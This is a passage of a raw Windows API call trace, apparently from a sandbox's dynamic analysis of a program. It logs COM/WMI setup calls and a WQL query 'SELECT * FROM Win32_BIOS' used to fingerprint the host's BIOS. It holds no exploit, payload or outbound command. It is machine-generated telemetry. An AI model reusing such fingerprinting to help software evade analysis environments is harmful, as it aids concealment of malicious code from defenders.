ppvObject=0x1b0bc498*=0x1b351ea0) returned 0x0 [0157.353] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351ea0, pProxy=0x1b340f20, pAuthnSvc=0x1b0bc560, pAuthzSvc=0x1b0bc4e0, pServerPrincName=0x1b0bc508, pAuthnLevel=0x1b0bc4e4, pImpLevel=0x1b0bc4f0, pAuthInfo=0x1b0bc518, pCapabilites=0x1b0bc4f4 | out: pAuthnSvc=0x1b0bc560*=0xa, pAuthzSvc=0x1b0bc4e0*=0x0, pServerPrincName=0x1b0bc508, pAuthnLevel=0x1b0bc4e4*=0x6, pImpLevel=0x1b0bc4f0*=0x2, pAuthInfo=0x1b0bc518, pCapabilites=0x1b0bc4f4*=0x1) returned 0x0 [0157.353] WbemLocator:IUnknown:Release (This=0x1b351ea0) returned 0x1 [0157.353] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340f20, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc430 | out: ppvObject=0x1b0bc430*=0x1b351ee8) returned 0x0 [0157.353] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340f20, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc440 | out: ppvObject=0x1b0bc440*=0x1b351ea0) returned 0x0 [0157.354] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351ea0, pProxy=0x1b340f20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.354] WbemLocator:IUnknown:Release (This=0x1b351ea0) returned 0x2 [0157.354] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x1 [0157.354] CoTaskMemFree (pv=0x1b33f120) [0157.354] WbemLocator:IUnknown:Release (This=0x1b33c920) returned 0x0 [0157.354] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340f20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbf30 | out: ppvObject=0x1b0bbf30*=0x1b351ee8) returned 0x0 [0157.354] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbfc0 | out: ppvObject=0x1b0bbfc0*=0x0) returned 0x80004002 [0157.354] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbbe0 | out: ppvObject=0x1b0bbbe0*=0x0) returned 0x80004002 [0157.355] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340f20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb7b8 | out: ppvObject=0x1b0bb7b8*=0x0) returned 0x80004002 [0157.355] WbemLocator:IUnknown:AddRef (This=0x1b351ee8) returned 0x3 [0157.355] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb678 | out: ppvObject=0x1b0bb678*=0x0) returned 0x80004002 [0157.355] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb600 | out: ppvObject=0x1b0bb600*=0x0) returned 0x80004002 [0157.356] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb5f0 | out: ppvObject=0x1b0bb5f0*=0x1b351dc8) returned 0x0 [0157.356] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351dc8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb618 | out: pCid=0x1b0bb618*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.356] WbemLocator:IUnknown:Release (This=0x1b351dc8) returned 0x3 [0157.356] CoGetContextToken (in: pToken=0x1b0bb6a0 | out: pToken=0x1b0bb6a0) returned 0x0 [0157.356] CoGetContextToken (in: pToken=0x1b0bbb20 | out: pToken=0x1b0bbb20) returned 0x0 [0157.356] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbbe0 | out: ppvObject=0x1b0bbbe0*=0x1b351eb0) returned 0x0 [0157.356] WbemLocator:IRpcOptions:Query (in: This=0x1b351eb0, pPrx=0x1b351ee8, dwProperty=2, pdwValue=0x1b0bbbd0 | out: pdwValue=0x1b0bbbd0) returned 0x80004002 [0157.356] WbemLocator:IUnknown:Release (This=0x1b351eb0) returned 0x3 [0157.356] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x2 [0157.356] CoGetContextToken (in: pToken=0x1b0bc1e0 | out: pToken=0x1b0bc1e0) returned 0x0 [0157.356] CoGetContextToken (in: pToken=0x1b0bc0e0 | out: pToken=0x1b0bc0e0) returned 0x0 [0157.356] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x1b0bc240*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b0bc210 | out: ppvObject=0x1b0bc210*=0x1b340f20) returned 0x0 [0157.356] WbemLocator:IUnknown:AddRef (This=0x1b340f20) returned 0x4 [0157.356] WbemLocator:IUnknown:Release (This=0x1b340f20) returned 0x3 [0157.356] WbemLocator:IUnknown:Release (This=0x1b340f20) returned 0x2 [0157.356] SysStringLen (param_1=0x0) returned 0x0 [0157.356] CoGetContextToken (in: pToken=0x1b0bc310 | out: pToken=0x1b0bc310) returned 0x0 [0157.356] WbemLocator:IUnknown:AddRef (This=0x1b351ee8) returned 0x3 [0157.356] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc310 | out: ppvObject=0x1b0bc310*=0x1b351ee8) returned 0x0 [0157.357] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x3 [0157.357] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x2 [0157.357] CoGetContextToken (in: pToken=0x1b0bc450 | out: pToken=0x1b0bc450) returned 0x0 [0157.357] WbemLocator:IUnknown:AddRef (This=0x1b340f20) returned 0x3 [0157.357] IWbemServices:ExecQuery (in: This=0x1b340f20, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_BIOS", lFlags=16, pCtx=0x0, ppEnum=0x1b0bc8e8 | out: ppEnum=0x1b0bc8e8*=0x1b30efb0) returned 0x0 [0157.371] IUnknown:QueryInterface (in: This=0x1b30efb0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc5c8 | out: ppvObject=0x1b0bc5c8*=0x1b30efb8) returned 0x0 [0157.371] IClientSecurity:QueryBlanket (in: This=0x1b30efb8, pProxy=0x1b30efb0, pAuthnSvc=0x1b0bc690, pAuthzSvc=0x1b0bc610, pServerPrincName=0x1b0bc638, pAuthnLevel=0x1b0bc614, pImpLevel=0x1b0bc620, pAuthInfo=0x1b0bc648, pCapabilites=0x1b0bc624 | out: pAuthnSvc=0x1b0bc690*=0xa, pAuthzSvc=0x1b0bc610*=0x0, pServerPrincName=0x1b0bc638, pAuthnLevel=0x1b0bc614*=0x6, pImpLevel=0x1b0bc620*=0x2, pAuthInfo=0x1b0bc648, pCapabilites=0x1b0bc624*=0x1) returned 0x0 [0157.371] IUnknown:Release (This=0x1b30efb8) returned 0x1 [0157.371] IUnknown:QueryInterface (in: This=0x1b30efb0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc560 | out: ppvObject=0x1b0bc560*=0x1b351ba8) returned 0x0 [0157.371] IUnknown:QueryInterface (in: This=0x1b30efb0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc570 | out: ppvObject=0x1b0bc570*=0x1b30efb8) returned 0x0 [0157.371] IClientSecurity:SetBlanket (This=0x1b30efb8, pProxy=0x1b30efb0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.399] IUnknown:Release (This=0x1b30efb8) returned 0x2 [0157.399] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0157.399] CoTaskMemFree (pv=0x1b33f120) [0157.399] IUnknown:QueryInterface (in: This=0x1b30efb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc030 | out: ppvObject=0x1b0bc030*=0x1b351ba8) returned 0x0 [0157.400] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc0c0 | out: ppvObject=0x1b0bc0c0*=0x0) returned 0x80004002 [0157.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbce0 | out: ppvObject=0x1b0bbce0*=0x0) returned 0x80004002 [0157.425] IUnknown:QueryInterface (in: This=0x1b30efb0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb8b8 | out: ppvObject=0x1b0bb8b8*=0x0) returned 0x80004002 [0157.427] WbemLocator:IUnknown:AddRef (This=0x1b351ba8) returned 0x3 [0157.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb778 | out: ppvObject=0x1b0bb778*=0x0) returned 0x80004002 [0157.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb700 | out: ppvObject=0x1b0bb700*=0x0) returned 0x80004002 [0157.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb6f0 | out: ppvObject=0x1b0bb6f0*=0x1b351a88) returned 0x0 [0157.427] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351a88, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb718 | out: pCid=0x1b0bb718*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.428] WbemLocator:IUnknown:Release (This=0x1b351a88) returned 0x3 [0157.428] CoGetContextToken (in: pToken=0x1b0bb7a0 | out: pToken=0x1b0bb7a0) returned 0x0 [0157.428] CoGetContextToken (in: pToken=0x1b0bbc20 | out: pToken=0x1b0bbc20) returned 0x0 [0157.428] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbce0 | out: ppvObject=0x1b0bbce0*=0x1b351b70) returned 0x0 [0157.428] WbemLocator:IRpcOptions:Query (in: This=0x1b351b70, pPrx=0x1b351ba8, dwProperty=2, pdwValue=0x1b0bbcd0 | out: pdwValue=0x1b0bbcd0) returned 0x80004002 [0157.428] WbemLocator:IUnknown:Release (This=0x1b351b70) returned 0x3 [0157.428] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x2 [0157.428] CoGetContextToken (in: pToken=0x1b0bc2e0 | out: pToken=0x1b0bc2e0) returned 0x0 [0157.428] CoGetContextToken (in: pToken=0x1b0bc1e0 | out: pToken=0x1b0bc1e0) returned 0x0 [0157.428] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x1b0bc340*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc310 | out: ppvObject=0x1b0bc310*=0x1b30efb0) returned 0x0 [0157.428] IUnknown:AddRef (This=0x1b30efb0) returned 0x4 [0157.428] IUnknown:Release (This=0x1b30efb0) returned 0x3 [0157.428] IUnknown:Release (This=0x1b30efb0) returned 0x2 [0157.428] WbemLocator:IUnknown:Release (This=0x1b340f20) returned 0x2 [0157.428] SysStringLen (param_1=0x0) returned 0x0 [0157.428] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f3c40, puCount=0x1b0bc928 | out: puCount=0x1b0bc928*=0x2) returned 0x0 [0157.428] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc920*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc920*=0xf, pszText=0x0) returned 0x0 [0157.428] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc920*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc920*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.428] CoGetContextToken (in: pToken=0x1b0bc4a0 | out: pToken=0x1b0bc4a0) returned 0x0 [0157.428] IUnknown:AddRef (This=0x1b30efb0) returned 0x3 [0157.429] IEnumWbemClassObject:Clone (in: This=0x1b30efb0, ppEnum=0x1b0bc8a0 | out: ppEnum=0x1b0bc8a0*=0x1b315e50) returned 0x0 [0157.431] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc628 | out: ppvObject=0x1b0bc628*=0x1b315e58) returned 0x0 [0157.431] IClientSecurity:QueryBlanket (in: This=0x1b315e58, pProxy=0x1b315e50, pAuthnSvc=0x1b0bc6f0, pAuthzSvc=0x1b0bc670, pServerPrincName=0x1b0bc698, pAuthnLevel=0x1b0bc674, pImpLevel=0x1b0bc680, pAuthInfo=0x1b0bc6a8, pCapabilites=0x1b0bc684 | out: pAuthnSvc=0x1b0bc6f0*=0xa, pAuthzSvc=0x1b0bc670*=0x0, pServerPrincName=0x1b0bc698, pAuthnLevel=0x1b0bc674*=0x6, pImpLevel=0x1b0bc680*=0x2, pAuthInfo=0x1b0bc6a8, pCapabilites=0x1b0bc684*=0x1) returned 0x0 [0157.431] IUnknown:Release (This=0x1b315e58) returned 0x1 [0157.431] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc5c0 | out: ppvObject=0x1b0bc5c0*=0x1b351048) returned 0x0 [0157.431] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc5d0 | out: ppvObject=0x1b0bc5d0*=0x1b315e58) returned 0x0 [0157.431] IClientSecurity:SetBlanket (This=0x1b315e58, pProxy=0x1b315e50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.434] IUnknown:Release (This=0x1b315e58) returned 0x2 [0157.434] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0157.434] CoTaskMemFree (pv=0x1b33f450) [0157.434] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc080 | out: ppvObject=0x1b0bc080*=0x1b351048) returned 0x0 [0157.434] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc110 | out: ppvObject=0x1b0bc110*=0x0) returned 0x80004002 [0157.435] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbd30 | out: ppvObject=0x1b0bbd30*=0x0) returned 0x80004002 [0157.435] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb908 | out: ppvObject=0x1b0bb908*=0x0) returned 0x80004002 [0157.436] WbemLocator:IUnknown:AddRef (This=0x1b351048) returned 0x3 [0157.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb7c8 | out: ppvObject=0x1b0bb7c8*=0x0) returned 0x80004002 [0157.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb750 | out: ppvObject=0x1b0bb750*=0x0) returned 0x80004002 [0157.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb740 | out: ppvObject=0x1b0bb740*=0x1b350f28) returned 0x0 [0157.436] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350f28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb768 | out: pCid=0x1b0bb768*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.436] WbemLocator:IUnknown:Release (This=0x1b350f28) returned 0x3 [0157.436] CoGetContextToken (in: pToken=0x1b0bb7f0 | out: pToken=0x1b0bb7f0) returned 0x0 [0157.436] CoGetContextToken (in: pToken=0x1b0bbc70 | out: pToken=0x1b0bbc70) returned 0x0 [0157.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd30 | out: ppvObject=0x1b0bbd30*=0x1b351010) returned 0x0 [0157.436] WbemLocator:IRpcOptions:Query (in: This=0x1b351010, pPrx=0x1b351048, dwProperty=2, pdwValue=0x1b0bbd20 | out: pdwValue=0x1b0bbd20) returned 0x80004002 [0157.436] WbemLocator:IUnknown:Release (This=0x1b351010) returned 0x3 [0157.436] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x2 [0157.436] CoGetContextToken (in: pToken=0x1b0bc330 | out: pToken=0x1b0bc330) returned 0x0 [0157.436] CoGetContextToken (in: pToken=0x1b0bc230 | out: pToken=0x1b0bc230) returned 0x0 [0157.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x1b0bc390*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc360 | out: ppvObject=0x1b0bc360*=0x1b315e50) returned 0x0 [0157.437] IUnknown:AddRef (This=0x1b315e50) returned 0x4 [0157.437] IUnknown:Release (This=0x1b315e50) returned 0x3 [0157.437] IUnknown:Release (This=0x1b315e50) returned 0x2 [0157.437] IUnknown:Release (This=0x1b30efb0) returned 0x2 [0157.437] SysStringLen (param_1=0x0) returned 0x0 [0157.437] IEnumWbemClassObject:Reset (This=0x1b315e50) returned 0x0 [0157.437] CoTaskMemAlloc (cb=0x8) returned 0x1b32aff0 [0157.437] IEnumWbemClassObject:Next (in: This=0x1b315e50, lTimeout=-1, uCount=0x1, apObjects=0x1b32aff0, puReturned=0x2b57258 | out: apObjects=0x1b32aff0*=0x1b349dd0, puReturned=0x2b57258*=0x1) returned 0x0 [0157.441] IUnknown:QueryInterface (in: This=0x1b349dd0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbc20 | out: ppvObject=0x1b0bbc20*=0x1b349dd0) returned 0x0 [0157.441] IUnknown:QueryInterface (in: This=0x1b349dd0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbcb0 | out: ppvObject=0x1b0bbcb0*=0x0) returned 0x80004002 [0157.441] IUnknown:QueryInterface (in: This=0x1b349dd0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bb8d0 | out: ppvObject=0x1b0bb8d0*=0x0) returned 0x80004002 [0157.441] IUnknown:QueryInterface (in: This=0x1b349dd0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb4a8 | out: ppvObject=0x1b0bb4a8*=0x0) returned 0x80004002 [0157.441] IUnknown:AddRef (This=0x1b349dd0) returned 0x3 [0157.441] IUnknown:QueryInterface (in: This=0x1b349dd0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb368 | out: ppvObject=0x1b0bb368*=0x0) returned 0x80004002 [0157.441] IUnknown:QueryInterface (in: This=0x1b349dd0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb2f0 | out: ppvObject=0x1b0bb2f0*=0x0) returned 0x80004002 [0157.441] IUnknown:QueryInterface (in: This=0x1b349dd0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb2e0 | out: ppvObject=0x1b0bb2e0*=0x1b349dd8) returned 0x0 [0157.441] IMarshal:GetUnmarshalClass (in: This=0x1b349dd8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb308 | out: pCid=0x1b0bb308*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 